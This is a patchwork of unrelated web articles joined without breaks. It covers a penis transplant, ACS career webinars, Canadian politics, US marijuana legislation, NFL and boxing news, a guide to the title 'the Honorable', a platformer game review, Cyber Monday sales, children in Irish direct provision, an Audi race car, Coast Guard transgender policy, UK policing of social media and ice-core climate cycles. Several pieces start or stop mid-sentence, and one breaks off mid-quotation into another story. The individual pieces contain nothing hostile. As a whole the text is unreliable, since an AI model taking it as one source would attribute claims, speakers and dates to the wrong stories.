Doctors say this is clear evidence the "transplant worked".
Experts were predicting it could take two years for the South African patient to regain all functions, yet tests showed this had been achieved in just four months.
The unnamed man had required a penis amputation when he was 18, following a botched circumcision.
He is still being regularly checked over by doctors, who want to see if improvements can be made to the procedure. More men could undergo the operation as soon as mid-August, according to local media.
The surgery could eventually be offered to men who have lost their penises from penile cancer, or as a last-resort treatment to people suffering from severe erectile dysfunction.
Back in March, Professor Andre van der Merwe, who led the surgical team, had described the procedure as a "massive breakthrough".
He explained: "There is a greater need in South Africa for this type of procedure than elsewhere in the world, as many young men lose their penises every year due to complications from traditional circumcision."
Experts estimate as many as 250 penis amputations happen in the country every year.
"For a young man of 18 or 19 years, the loss of his penis can be deeply traumatic," he added.
"He doesn't necessarily have the psychological capability to process this. There are even reports of suicide among these young men."Upcoming ACS Webinars: Virtual Career Fair 2011
Hi everyone! Just wanted to draw your attention to several opportunities for learning more about chemistry careers and the job market.
As you all know, the ACS National Meeting in Denver, CO kicked off yesterday. Check out these awesome C&EN Picks videos for a sneak peak at what’s going on at the meeting this week.
Thanks to the wonderful interwebs and ACS Webinars, those of us who are not in attendance at the ACS meeting can still tap into some of the awesome career information, as if we were right there. All you have to do is sign up and then log in for the live webcast and watch the seminar in the comfort of your own home (or office, lab, or wherever you will be at the time).
For some of the sessions, you can even have your questions answered by the speakers themselves by submitting them online during the live Q&A.
Here’s a list of the webinars:
Tuesday, August 30, 2011 – Live video streaming from Denver, Colorado Convention Center
Navigating the Global Industrial Job Market
9:00 AM – 10:00 AM (Mountain Standard Time)
Richard Connell (Pfizer, Inc.), Scott Harbeson (Concert Pharmaceuticals, Inc.), Jos Put (DSM), and moderator, David Harwell (American Chemical Society)
Entrepreneurship + Innovation = Jobs
11:00 AM – 12:00 N (Mountain Standard Time)
Keynote speakers George Whitesides (Harvard University) and Joseph Francisco (Purdue University), and moderator, Madeleine Jacobs (American Chemical Society)
Academic Jobs Outlook
1:00 PM – 2:00 PM (Mountain Standard Time)
Christine Gaudinski (Aims Community College), Laurel Goj (Rollins College) and Jason Ritchie (University of Mississippi), and moderator, David Harwell (American Chemical Society)
Networking 101 — Making Your Contacts Count
4:00 PM – 6:00 PM (Mountain Standard Time)
Located in the ACS Village in the ACS Exposition Hall with speaker, Bonnie Coffey (Contacts Count) and moderator, David Harwell (American Chemical Society)
Wednesday, August 31, 2011 – Webinars Only
Working in the USA — Immigration Update
9:00 AM – 10:00 AM (Mountain Standard Time)
Navid Dayzad, Esq. (Dayzad Law Offices, PC) and Kelly McCown (McCown & Evans LLP) and moderator, David Harwell (American Chemical Society)
From Scientist to CEO
11:00 AM – 12:00 PM (Mountain Standard Time)
Keynote speaker, Randall Dearth (Lanxess Corporation) and moderator David Harwell (American Chemical Society)
What Recruiters Are Looking For — Making the ‘A’ List
1:00 PM – 2:00 PM (Mountain Standard Time)
Meredith Dow (PROVEN, Inc.), Alveda Williams (The Dow Chemical Company), Jodi Hutchinson (Dow Corning Corporation), and moderator, David Harwell (American Chemical Society)
A blurb about ACS Webinars:
ACS Webinars™ is a free, weekly online event serving to connect ACS members and scientific professionals with subject matter experts and global thought leaders in chemical sciences, management, and business. The ACS Webinars are divided into several series that address topics of interest to the chemical and scientific community; these series include career development, professional growth, business & innovation, green chemistry, and joy of science. Each webinar is 60 minutes in length, comprising a short presentation followed by Q&A with the speaker. The live webinars are held on Thursdays (and on some Tuesdays on career topics) from 2-3pm ET. Recordings of the webinars are available online and upcoming events are posted at http://acswebinars.org/.
I’ll be blogging about a few of the webinars and will also post links to other blog posts that summarize the discussions that take place during these webcasts.
Stay tuned!Ontario cabinet minister Michael Chan is demanding an apology from MP Jason Kenney, who criticized Mr. Chan's shows of support for the Chinese government.
In a letter sent by his lawyer and dated June 30, Mr. Chan, the province's International Trade Minister, asked Mr. Kenney to withdraw and apologize for comments made to The Globe and Mail last month within seven days or face legal action.
In a June 9 article, the former federal immigration and national defence minister said: "I get the impression that [Mr. Chan] sometimes regards himself as an unofficial ambassador for the People's Republic of China," adding that he never heard Mr. Chan assert Canadian principles of human rights in relation to China.
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Mr. Kenney, who announced his leadership bid for the Alberta Conservative Party on Wednesday, also recalled an event in which Mr. Chan raised a fist and shouted, "Long Live the Motherland!" in Mandarin.
In a written statement, Mr. Kenney stood by his comments, which he said are within the realm of fair comment and ordinary political discourse. "Mr. Chan tries to intimidate his critics into silence with legal threats," Mr. Kenney said. "Elected officials in a democracy should respond to remarks they disagree with through open public debate, rather than resorting to legal threats designed to create libel chill."
Mr. Chan, who is suing The Globe for defamation, has asked that all queries from the newspaper go through a lawyer. His lawyer did not respond to a request for comment on the threat of legal action against Mr. Kenney.
Last year, Mr. Chan, then Ontario's minister of citizenship, immigration and international trade, was the subject of a Globe report, which revealed that, in 2010, the Canadian Security Intelligence Service was concerned he had grown too close to the Chinese consulate in Toronto, prompting a senior federal official to caution the province about his alleged conduct in a 2010 meeting.
This unusual visit came months after the CSIS director at the time, Richard Fadden, warned the public about two provincial cabinet ministers being under the undue influence of a foreign government. Mr. Fadden did not name the ministers or elaborate on the spy agency's concerns; nor did he disclose the foreign country by name.
The remarks were widely criticized and provoked a backlash in Ontario and British Columbia. CSIS never publicly identified the officials; nor did it ever expand on its concerns publicly. The standoff revealed a marked disconnect between the federal spy agency and the provincial government's approach to foreign influence.
Mr. Chan acknowledged to The Globe that CSIS had concerns about him in 2010, but he dismissed their allegations as thin and baseless. Former Ontario premier Dalton McGuinty and his successor, Kathleen Wynne, both dismissed the allegations and stood by Mr. Chan.
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The Wynne government told The Globe last year that Mr. Chan had consulted with the province's Integrity Commissioner after the 2010 briefing and was told there were no concerns. Citing privacy, the office would not reveal what specific issues had been raised, or how the Commissioner vetted and cleared them.
Mr. Kenney's recent comments arose after Mr. Chan defended China's record on human rights in a Chinese-language column.
"Human rights should be viewed from the perspective of livelihood issues," he told an unidentified journalist for a June 6 article that appeared in several Chinese-language publications. "The progress of human rights is complementary and linked together with the progress of people's welfare."
The comments were made in response to a diplomatic incident last month involving a news conference held by Foreign Affairs Minister Stéphane Dion and Wang Yi, his Chinese counterpart.
Seizing on a question directed to Mr. Dion about human rights and the two-year detention of Canadian Kevin Garratt, Mr. Wang dressed down the reporter. "Your question is full of prejudice against China and arrogant," he said.
The series of events led to much controversy in the local community about censorship and civil liberties in Canada's Chinese-language media.
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A Vancouver-area journalist lost his column after mocking Mr. Chan and Mr. Wang. Another writer who pilloried Mr. Wang received death threats.
Days later, Prime Minister Justin Trudeau expressed dissatisfaction with Mr. Wang's behaviour and reaffirmed the media's right to ask difficult questions.In Trump’s (and Jeff Sessions’) new America, rational marijuana policy isn’t something we thought we would see. And while we still may not see it, members of the House and Senate are doing what they can to change that.
On Thursday, Democratic Senator Ron Wyden and Representatives Earl Blumenauer and Jared Polis introduced a bill that would remove the DEA’s power over marijuana by removing it from the Controlled Substances Act. This means that the right to create and enforce laws around marijuana would be turned over to state governments.
Today, more than one fifth of the country lives in states that allow recreational marijuana, and recent polls have found that 59 percent of the country favors legalization.
“If we are truly going to move our nation towards sensible marijuana policies, the removal of marijuana from the Controlled Substances Act is paramount,” said Justin Strekal, political director of the National Organization for the Reform of Marijuana Laws (NORML). “Annually, 600,000 Americans are arrested for nothing more than the possession of small amounts of marijuana and now is the time for Congress to once and for all end put an end to the national embarrassment that is cannabis prohibition.”
“Passing this legislation would end the current conflict between state and federal laws and allow the states to implement more sensible and humane marijuana policies, free from the threat of federal incursion,” he added.
The bills are pieces of a three-part legislation package proposed by Wyden and Blumenauer, both representing Oregon, called the Path to Marijuana Reform.
According to VICE, “one deals specifically with tax issues related to the marijuana industry; another includes a variety of far-reaching reforms, such as easing restrictions on banking and medical research; and the third calls for descheduling marijuana, which would treat the drug like alcohol or tobacco under federal law.”
That being said, it’s difficult to know what kind of progress the bills will make in the Republican-majority Congress, particularly when the White House and the attorney general have come out against states’ rights to legalize the leaf.
Only time will tell if the bills can make it through, but in the meantime, call your congressmen and women to let them know that you support the Path to Marijuana Reform.
The Path to Marijuana Reform can be read in its entirety here.The Cowboys and all other teams are busy scouring the waiver wire as they prepare to stock up their practice squads.
News reached us shortly after the claiming period started at noon ET today that former Cowboys wide receiver LaRon Byrd had been picked up by the Browns.
Browns claimed wide receiver LaRon Byrd off waivers, according to a source — Aaron Wilson (@RavensInsider) August 31, 2014
Byrd had been having a good camp for the Cowboys, and there was hope that he might make it to the practice squad for the Cowboys, but he didn't.
Last year, only one Cowboys player, linebacker Brandon Magee, was claimed off waivers. This year, the Cowboys have already had two players claimed off waivers, B.W. Webb to the Steelers earlier and now LaRon Byrd to the Browns.
In separate news, Todd Archer of ESPN Dallas reports that RB Ryan Williams was not claimed off waivers by any team.
Told Ryan Williams was not claimed by another team — Todd Archer (@toddarcher) August 31, 2014
In principle, this leaves the door open for the Cowboys to sign Williams to their practice squad. Williams suffered a groin injuury recently that may have kept other teams from pursuing the former first-round pick. If the Cowboys do bring him back to their practice squad, the gamble of releasing him and subjecting him to waiver wire clams would have paid off.
[UPDATE]
Todd Archer is keeping us up to date on the Cowboys roster moves, showing that it's not a one-way street to Cleveland from Dallas:
Cowboys claim G Donald Hawkins off waivers from Cleveland. Cut John Wetzel. — Todd Archer (@toddarcher) August 31, 2014
Stay up to date with what's happening during roster cuts via the Twitter feed below, and use this post as an open thread for any Cowboys related topic today.By Elisinio Castillo
According to sources in Argentina, tough contender Diego Chaves (23-2-1, 19KOs) is going to challenge IBF welterweight champion Kell Brook (35-0, 24KOs) on October 24th in Sheffield, England.
Chaves has been out of the ring since going to a twelve round draw against current WBO welterweight champion Timothy Bradley last December in Las Vegas. Prior to that, he was disqualified in the ninth round of a bout against Brandon Rios. Chaves was ahead in the scorecards at the time of the stoppage and some felt the disqualification was unjust.
Given his layoff, a fight with Brook will be a very tough task indeed.
For Brook, it would be his third fight of the year and his third defense of the IBF title that he captured last August from Shawn Porter. Brook stopped Jo Jo Dan in four rounds in March and then returned in May to stop Frankie Gavin in six. Chaves has only been stopped once in his career, when Keith Thurman put him away in the tenth round of their exciting contest.
The reports of Chaves being the opponent comes as a surprise, because his team recently reached a deal to face Devon Alexander in a final IBF welterweight eliminator. A purse bid was actually set and later called off because the two sides reached an agreement.
But if Chaves can get a direct shot and avoid an eliminator, it would be a mirror image of what happened with Gavin - who was ordered to face Tim Bradley in an IBF eliminator and instead sidestepped the eliminator for a direct shot at Brook.
Brook's promoter, Eddie Hearn of Matchroom Sport, is expected to announce Brook's opponent this week.How to Address an Official
Addressed as "The Honorable"
In the United States of America
In the United States the Honorable is a courtesy title used with the names of current and retired high-ranking federal and state officials and judges, and with some local officials. It is not used with the names of the deceased. As a general rule, anyone elected to public office in a general election is entitled to be addressed as the Honorable for life. This same pattern of "elected in a general election" is also typical at the state and local level. At a city/municipal/county/etc. level a mayor and sheriff are always the Honorable, but whether or not other local officials (e.g. members of elected city councils and boards) are the Honorable is by local tradition.
Some appointed officials are also addressed as the Honorable. At the Federal level those appointed by the President of the United States and individually confirmed by the United States Senate are addressed as the Honorable. At the state level the pattern is the same. The Honorable is always used before a full name. As a courtesy title the Honorable describes an individual: This person is honorable. As such it never precedes the just the name of an office.
Honorable or Hon. are not used in direct address -- on a letter or place card, or in a salutation or conversation -- as honorifics like Mr., Mrs. Ms., Mayor, Ambassador, etc.
Formula: The Honorable (Full Name), (Office Held)
Correct: The Honorable Ahmed Henderson, Mayor of Springfield
Incorrect: The Honorable (Office Held)
It is the person who is the Honorable, not the office.
Incorrect: The Honorable Mayor
Incorrect: The Honorable Mayor of Springfield
Not formally correct: Honorable Ahmed Henderson
Not formally correct: Hon. Ahmed Henderson
All about The Honorable
Link to Q&A just on officials in the U.S. addressed as The Honorable
How to Use The Honorable?
I believe Honorable should be included as a title/rank on invitations, letters and envelopes. But is it proper or acceptable at any time to refer to a judge as Honorable John Q. Smith, Honorable Judge John Q. Smith or Hon. John Q. Smith, e.g., in a list?
-- S.B. a the US Bankruptcy Court
My secretary recently drafted a letter of recommendation for a former employee from me and included the title the Honorable with my name, which others use when introducing or addressing me – an elected Tax Collector. I have never called myself the Honorable and it seems improper at the end of a letter. Am I correct that the title Honorable should be used by persons addressing me but not by me when signing my own name?
-- SR, Tex Collector
I am a doctor and just recently – an elected Federal official. Am I correctly listed in a program as The Honorable Dr. (Full Name)?
-- JMC in Virginia
Dear SB & SR, and JMC :
The correct form is The Honorable (Full Name). It is not correct to refer to to anyone as simply Honorable or Hon. If you need to use a shortened versions because you are short on space or ink/toner for your printer use The Hon.
One never uses the The Honorable when saying or writing one's own name. So – never as the host on an invitation, never when signing one's name, and never when introducing yourself.
If the guest of honor is the Honorable, and their name is being included on the invitation, the host can list their guest as the Honorable (Full Name) since the name is a reference to another person, not that person writing their own name.
Any guest addressed as the Honorable, should be the Honorable (Full Name) on their invitation's outside envelope.
The Honorable, is not combined with other honorifics, ranks or titles in the USA. So none of these is correct when addressing US officials: The Honorable Dr. (Name), The Honorable Senator (Name), The Honorable Judge (Name), The Honorable Mayor (Name) or The Honorable General (Name) etc.
This is the same pattern as for His/Her Excellency' which is not used reflexively either.
-- Robert Hickey
ORDER NOW
Back to directory of titles / See who is using Honor & Respect
For forms of address for invitations, place cards, name badges, introductions, conversation, and all other formal uses, see Honor & Respect: the Official Guide to Names, Titles, and Forms of Address. Copyright © 2019 Robert Hickey. All Rights Reserved.
Photo: Marc Goodman.I apologize for that header. That makes it sound like I’m trying to sell you Crunch Berries, and I wouldn’t do that to you. I like you too much to subject you to the soggy, disgustingly awful tasting balls of misery that comes in a box of that cereal.
Seriously, guys? “Oops! All Berries?” Way to make my gag reflex throw its hand in the air and say, “I give up!”
But I do want to sell you on “Cloudberry Kingdom” because I think it’s one of the best platformers that I’ve played in a while.
There is a catch… it’s also one of the most difficult.
Jumping right into it, “Cloudberry Kingdom” pulls no punches. It’s a game designed to be as hard as a game can be and to be as intimidating as possible when you first lay eyes on it. You’ll experience some reticence when you first start up the game and the demo screen pops up, showing the computer tackling ridiculously complex levels. You’ll find yourself thinking, “There is absolutely NO WAY that’s possible.”
Here’s the thing; while you may never able to go that far and do things that are as ridiculous as what you’re seeing there, just take comfort in the fact that this game has procedurally generated levels, so you’ll never see that exact level! No, you’ll probably end up getting something harder, but that’s okay too and I’ll get into why later.
On the game’s main menu, you’ll have access to three main game modes: Arcade, Story, and Freeplay. Arcade is where the real meat of the game lies. All of the delicious, tender, perfectly fat-speckled meat. Story takes you through 6 chapters, each forty levels long, with a malicious and blood vessel popping bonus chapter that unlocks after you’ve beaten it. Then you have Freeplay, which is the hippie mode. You’re free to do, literally, whatever you want in here. It’s essentially a toy box for the game, where you’re free to mess with all of the game’s copious amount of stuff.
Story Mode makes a nice introduction to the game. You have a knight, Bob – voiced by Kevin Sorbo – a bad guy, and a princess. You’re out to stop the bad guy from doing bad stuff. Through all of this, everyone is spitting out the absolute worst 80’s action movie one-liners I’ve ever heard. It’s almost embarrassing… almost. It ends up being kind of charming. Anyways, you don’t spend much time with the story. You get a small scene at the start of every chapter and then you’re thrown into the shit for forty levels.
This is the only mode where the stages aren’t procedurally generated. So, it makes a nice way to see how good you actually are at the game and to see where your skill level may lie. Being able to compare and say, “Hey, I was able to make it to level 116 before throwing my console in a fire,” is useful. Well, it’s until your friend says they made it to level 175, then you immediately regret quitting.
You’re not going to quit, though. The thought won’t even form in your mind. That’s because “Cloudberry Kingdom” has the same addictive properties that lie within heroin. This isn’t a “Just One More” game, it’s a “Just Ten More” game. It’s one that will have you trying for half an hour to beat one stage, and when you FINALLY succeed, you’re immediately thrust into another, so you may as well give it a go. I mean, it already started.
Story Mode scales up incredibly well, too. Which is why it’s a great jumping off point. Once you’ve beaten story mode, which may not even be possible for many players, you’ll feel a lot more confident about your abilities to guide brave Bob through the game’s burning, barbed wire hurdles. I know this, because I’m probably brimming with hubris about my skill after beating it.
That’s because, despite the game’s ludicrous difficulty, it’s completely fair. Every stage is beatable. It has to be, the game’s programming won’t ALLOW an unbeatable stage. These weren’t levels designed by a person, they’re designed by a computer and while they may lack the soul that comes from a really well designed platformer, it has other things it excels in, like flattery.
Yes, this game flatters you like no game I’ve ever played before. It will, almost immediately, make you feel like a platforming demi-god. You’ll find yourself completing the most insane challenges without even thinking about it. Once you get into the rhythm of this game and learn how it works, you’ll realize that while it may look tough, have a deep gruff voice, and wear leather covered in spikes, that there is just a big softie underneath the scary exterior.
OK, not sure if that analogy works, but what I mean is that most of what you see is all show. It’s meant to intimidate you. A lot of stages can be completed through blind faith. Run forward as fast as you can, jump when you’re supposed to, and trust that all of the obstacles will be out of your way. A lot of the time, you’ll have a clear path.
That’s what I mean when I say that the game flatters you. You’ll plow your way, often mindlessly, through tasks that look impossible. Screens filled with obstacles and you just made it look effortless. You’ll walk away feeling full of yourself, feeling confident, feeling good.
The game doesn’t patronize you, though. It does this without you even realizing it. It WANTS you to feel confident, because there is going to be a REAL challenge soon and it doesn’t want you to quit when get to it. It wants you to think that you’re fully capable of tackling it. “Come on, I’ve done some ridiculous stuff to get to this point. I’m not going to let this ONE stage take me down!”
That’s… that’s brilliant. It’s a game that slowly builds up a player’s skill and confidence without making them feel like the game is dumbing things down for them. It does things with a subtle touch and encourages the player to persevere in ways that a lot of games fail to do. For a game that’s this hard, that’s exactly what you want.
With similar micro-platformers – games with short but very focused stages – like “Super Meat Boy” and “N+”, they just punish you and punish you and punish you until you get it right or you erupt in a fit of burning hot rage. “Cloudberry Kingdom” eases you in but makes you feel like you’re already equipped for the obstacles that lie ahead. It gives you an ego boost, and while that normally may be a bad thing, it’s PERFECT for a game like this. If you think you’re better than you actually are, you’ll play more and probably succeed more.
It produces its own placebo effect… and it actually works.That's an improvement over last year's $2.65 billion, and a shade higher than the estimated $2.74 billion spent on Black Friday — which has been increasingly shifting online to avoid the inevitable lines and conflicts that plague in-store deals.
Internet shopping was up 17.8 percent over Cyber Monday in 2014, according to IBM data, and more people were deal-hunting using their smartphones. Sales over a mobile device ticked up almost 26 percent from last year, to make up more than 27 percent of all online purchases.
Adobe said 4K TVs, new gaming consoles and iPads big and small were the top-selling electronics, and LEGO dominated the toy sales. The average order was $133, according to the data Adobe collected, and over a quarter of those sales were done on phones or tablets.
"Online traffic was so astronomical that several retailers experienced temporary outages and slow checkouts, but that didn’t stall consumer spending," Tamara Gaffney, principal analyst, Adobe Digital Index, said in a statement.
Adobe arrived at its predicted figures by analyzing data of more than 125 million visits to 4,500 retail websites.This article was first published at 10.29pm, 18 July
AN OFFICIAL REPORT into how children in direct provision system feel about their circumstances has found that some have been the victims of racism while others complain about “overcrowded” and “dirty” conditions.
Researchers from the Child Law Clinic at University College Cork carried out the research and spoke to children in the direct provision system aged between 8-17.
Among the issues the children pointed to were the length of time they are forced to stay in the direct provision system. A number of children said they have lived in the system since they were born.
Others say they have been victimised because they live in direct provisions and face racism in school.
Other children said they feel unsafe having to live in the same centres as single men.
Direct provision centres house asylum applicants and their families while applications are being processed but the conditions in which the people are held and the length of time they are required to stay there has been frequently criticised.
The report states that while some of the children spoke about “the amazing community” there,
the majority of those consulted are highly critical of what they state are the “overcrowded” and “dirty” conditions under which they are forced to live for long periods of time. They say that they do not like the system, that it is “not fair”, “not safe,” and that they are frequently subjected to rudeness and insensitive treatment by staff (including security staff) and by adults living in the centres.
The report also states that “racism and stigma was an underlying theme” that ran through the children’s testimonies with some describing instances of both implicit and explicit racism.
In one instance, a child aged 8-12 years describes feeling picked on in school by a teacher:
And our school, our teacher, my teacher shouts at me more than – my teacher doesn’t love me more than – she likes the other kids instead of me. There’s another girl from Romania that gets like that, bullied.
Some children also said they disliked being called “refugees and asylum seekers” by staff or by other residents who have already got their papers.
Food
The report also states that a recurring theme among the children and young people consulted was an unhappiness with the quality of the food they are provided with in their direct provision centres.
The diets were described in various disparaging ways such as, “horrible and disgusting”, “always the same” and “the food has no taste,” according to the report.
A number of children mentioned that they were not allowed to cook their own food so always had to eat Irish or Polish cooking by staff at the centres.
“The food is not good – we eat Irish food and drink – they should cook African food or let us do it ourselves,” one child aged between 8-12 told the researchers.
Another complaint from the children was a lack of space for play and recreation with some pointing out that common areas were regularly occupied by single men.
“We do not get to use the room where there is two pool tables and a big TV because the men are always there,” said one child aged between 8-12 years.
“There is so many men, and coz they look creepy look at you,” another child aged 13-18 said.
Reaction
The report was welcomed by Minister for Justice Charlie Flanagan who said hearing the voices of children will help direct policy.
“This report is an important contribution to our policy development in this area and the stories of children and young people living in State-provided accommodation continue to contribute to the ongoing improvements in services in accommodation centres,” the minister said.
Others have reacted less positively, however. Tanya Ward of the Children’s Rights Alliance said that it is of “deep concern” that some children feel unsafe in direct provision centres.
“The safety and welfare of children in direct provision cannot be compromised any longer,” she stated.
“A dedicated child protection and welfare strategy needs to be developed and implemented immediately as the Children’s Rights Alliance has been calling for some time. ”
The report can be read in full here.Audi RS 3 LMS Ready For Pirelli World Challenge 2017 And Beyond By Winding Road Staff October 19, 2016
Audi Sport Customer Racing has unveiled the Audi RS 3 LMS TCR DSG PWC for the 2017 Pirelli World Challenge series. While possibly setting a record for the longest acronym-based model name in history, there is a method to Audi's madness. The RS 3 LMS can be used to compete in 2017 in Pirelli World Challenge TC class. Then, in 2018, when PWC welcomes a range of TC-R cars to the grid, a simple brake upgrade and software switch converts the RS 3 LMS to TC-R spec.
TC-R is a new class, currently getting established in Europe, that features 4 door, FWD race cars built by OEMs. The cars have about 330 hp and weigh about 2900 lb. with driver. As a result, TC-R cars should have a somewhat (perhaps 10%) higher power:weight ratio than TC cars and thus probably will be the front of the PWC touring car field in TC-R trim. In TC trim, the power:weight will be somewhat lower, obviously, as PWC is a Balance Of Performance series.
The RS 3 LMS in PWC TC trim will feature a paddle-shifted DSG gearbox, sans the luscious lever-shifted sequential system shown in the photos. The engine is a 2L turbocharged inline four cylinder. The car comes with AIM MXG data, air jacks, adjustable dampers, adjustable brake bias, FIA seat and FIA fuel tank. There are also some serious bodywork mods and aero parts.
Price is expected to be under $140,000.
Winding Road Racing will be supporting Touring Cars in Pirelli World Challenge via our Arrive & Drive Services division. If you are interested in discussing TC-A, TC and/or TC-R programs with us, please contact [email protected]. For additional information on our other pro series offerings, please visit https://store.windingroad.com/arrive--drive-p1039.aspxThe U.S. Coast Guard commandant has announced he will disregard President Donald Trump’s ban on transgenders in the military.
Admiral Paul F. Zukunft, who took charge of the Coast Guard under former President Barack Obama, says he “will not break faith” with transgenders under his command.
“The first thing we did is we reached out to all 13 members of the Coast Guard who have come out” as transgender, Zukunft said at an event at the Center for Strategic and International Studies in Washington, reports the Hill.
In his comments, Zukunft referred to the Coast Guard’s first openly transitioning officer, Lt. Taylor Miller, who was featured in a Washington Post article about the effects of the ban on transgender members of the service.
“I feel very unwanted,” Miller reportedly said. “Mortified and embarrassed.”
“Most people my age are worried whether they’re going to get a date or what apartment they’re going to rent,” Miller, an engineer who inspects foreign and domestic commercial vessels, said, according to the Post. “I’m worried about how I’m going to cover the cost of my hormones, hide from everybody and not get beaten up and murdered in an alleyway.”
Miller reportedly began transitioning in 2016 after Obama-era Defense Secretary Ash Carter ordered all branches of the military to create policies to allow for transgender service members and special medical care access for them.
“If you read that story, Taylor’s family has disowned her. … And I told Taylor, I will not turn my back,” Zukunft said. “We have made an investment in you and you have made an investment in the Coast Guard and I will not break faith.”
“And so that was the commitment to our people right now,” the commandant added. “Very small numbers, but all of them are doing meaningful Coast Guard work today.”
Trump announced via Twitter on July 26 that he will no longer allow transgender individuals to serve in the U.S. military.
In a series of tweets, the president said:
After consultation with my Generals and military experts, please be advised that the United States Government will not accept or allow Transgender individuals to serve in any capacity in the U.S. Military. Our military must be focused on decisive and overwhelming victory and cannot be burdened with the tremendous medical cost and disruption that transgender in the military would entail. Thank you.
After consultation with my Generals and military experts, please be advised that the United States Government will not accept or allow…… — Donald J. Trump (@realDonaldTrump) July 26, 2017
….Transgender individuals to serve in any capacity in the U.S. Military. Our military must be focused on decisive and overwhelming….. — Donald J. Trump (@realDonaldTrump) July 26, 2017
….victory and cannot be burdened with the tremendous medical costs and disruption that transgender in the military would entail. Thank you — Donald J. Trump (@realDonaldTrump) July 26, 2017
The White House has reportedly reached out to the Pentagon to begin a draft of formal guidance on the transgender ban, Breitbart News reported Monday.
“We have conversations back and forth all the time with the White House in a variety of channels, and those conversations are starting to happen on the issue,” Pentagon spokesman Navy Capt. Jeff Davis said.
A letter sent to Trump on July 27 from 16 retired flag-rank officers, including one admiral and seven major generals, thanks the president “for making the extremely courageous decision to reverse President Obama’s transgender social experiment.”
The letter continues:
There may be an enormous amount of vitriol directed at you for making this policy correction, but please know that overturning this policy may have done more in the long-term to save the culture and war-fighting capacity of the U.S. military than perhaps any other military policy you will adopt as president.
The letter’s signers warn of the military’s potential costly outlays for specialized transgender hormone treatments and the limitations such individualized therapies place upon those service members and their units:
DoD guidelines require that those serving in the military be “medically adaptable to the military environment without the necessity of geographic area limitations.” However, both hormone therapy and gender reassignment surgery result in |
I don't know what to do, I'll call the police, they'll sort it out for me.'
"It should be a case of let's be sensible, let's not be friends with that person on Facebook, perhaps contact Facebook first or don't use Facebook. It's common-sense stuff."
Mr Marshall agreed that the police "couldn't possibly deal with every bit of nonsense and disagreement that occurs in social media".
"People throughout history have shouted abuse at each other and had disagreements and arguments and possibly said things that they regret later and the police have never investigated every disagreement between everyone," he said.
"So we have to be careful here that there's a line that needs to be drawn and if something is serious and it's a crime and someone is genuinely threatened or in the case of domestic abuse - maybe they're being coerced and treated deliberately in this way as a sort of punishment by a partner - that's a serious issue that we need to take on."
Public education required
Mr Marshall said a combination of police training, public education and enforcement by social media companies was required to combat the problem.
Although the director of public prosecutions's guidance was a "good starting point", Mr Marshall said, 6,000 officers were being trained over the next few months by the College of Policing - which sets all police standards in England and Wales - to make judgments about when a complaint identified a pattern of behaviour that required further investigation.
And while anecdotal evidence from officers indicates that dealing with complaints arising from social media now absorbed a significant amount of their time, it is not yet borne out in the figures.
Currently, online crimes are recorded under traditional headings such as harassment or threats to kill and not as a cybercrime, so each record is required to be read individually to ascertain if the crime originated on social media.
Mr Marshall said because of that, the force was missing out on information.
The College of Policing was currently carrying out research to quantify how many crimes actually originate on social media, he said, and was expecting the results in the next couple of months.
The Home Office said that it had introduced a voluntary "flag" this year that would enable forces to highlight online crime "to further improve our understanding of where crime occurs".
This is expected to become mandatory by 2015/16.
Hear the full report on Law in Action on Tuesday, 24 June at 16:00 and Thursday, 26 June at 20:00. You can listen again via the BBC Radio 4 website or by downloading the free Law in Action podcast.Guest Post By Renee Hannon
Abstract
Detailed pattern correlation of Earth’s temperature changes during the past 450 kyrs reveals observations about several cyclic climate patterns. The past four glacial cycles are increasing in duration from 89 kyrs to 119 kyrs. Within these glacial cycles, two warm periods occur about 200 kyrs apart and have strikingly similar temperature characteristics. These two warm patterns suggest processes modifying Earth’s temperature could be repeatable and predictable. In contrast, two other warm periods have different and distinct characteristics. These two warm periods occur during a predominantly elliptical orbit and a predominantly circular orbit, respectively, and on approximately 400 kyr cycles.
Preliminary simplified models of astronomical and oceanic controls on temperature variations for the past four warm periods have been developed. Although process interactions are very complex, separating out predominate causes and effects on global temperature should help improve future climate mathematical simulation models. Climate models need to include astronomical as well as oceanic and atmospheric forcing to reliably predict the duration and temperature changes of the future Holocene interglacial Warm period.
Introduction
The Holocene Warm Period was compared to four interglacial warm periods and their glacial cycles during the past 450,000 years using EPICA Dome C isotope ratios and temperature estimates to identify pattern similarities and trends. Interestingly, a hierarchy of correlative events and common patterns occur amongst the glacial cycles and warm periods.
Warm periods are anomalous events referred to as interglacial periods within a glacial cycle. Glacial cycles last for approximately 100 kyrs and warm periods range from 10 to 30 kyrs. For simplicity, these glacial cycles and warm periods are referred to as I through V, with I being present day and V being the oldest as defined in Figure 1. Glacial/interglacial transitions known as Terminations (I-V) and common usage names from literature, marine isotope stages(“MIS”), and approximate age are also noted in Figure 1.
Figure 1: EPICA Dome C isotope temperature estimates over the past 450 kyrs show four warm periods prior to the present-day Holocene warm. Warm periods last approximately 10-30 kyrs.
Calculated temperatures from the Antarctica Dome C data are multiplied by 0.5 to correct to approximate global temperatures rather than polar temperatures. Uncorrected, the magnitude of the delta degree C would be double than what is shown in the figure.
Correlation of Glacial Cycles
Figure 2 is a traverse which displays the four past glacial cycles. The temperature curves for each cycle are turned sideways with time plotted on the vertical axis. This technique is similar to creating a geologic cross section and enables correlation of events between the past glacial cycles. The key repeating event for each cycle is the rapid onset of warming following abrupt terminations of glacial periods. This significant event was used as a datum for each glacial cycle. Datuming is a useful tool that allows recognition of relative changes between cycles. Very cold is highlighted in blue and warm periods in red. The blue, yellow and green lines are an interpretation of internal correlations within each cycle bounded by bold red lines.
Figure 2: A traverse of the past five interglacial-glacial cycles. Cycles are datumed on the Terminations/Onsets. EPICA Dome C isotope temperature estimates are plotted as curves in 1 degree C increments on the horizontal scale (cold to left and warm to right). The vertical scale is time in 20 ka increments. Actual age is plotted on each cycle. Interglacial warm periods are highlighted in red and the coldest portion of the glacial period in blue. Dark red is calculated ratios of warm:cycle.
These glacial cycle patterns are what geologists call bottom-loaded sequences. They are well-behaved cycles with the warmest interglacial period, shaded in red, always following the termination of the previous glacial period. The green line within the warm period highlights a brief cooling event that approximately correlates to the 8.2 kyr event in the present-day Holocene. The blue correlation line is the base of the coldest full glacial period shaded in blue which occurs at the end of each cycle. The full glacial period ranges in duration from 35 to 60 kyrs in Cycle V to Cycle II, respectively. In the middle of each cycle there is a mild glacial period consisting of smaller cold stadials and warm interstadials (Dansgaard-Oeschger cycles). The yellow lines attempt to correlate these minor stadial events.
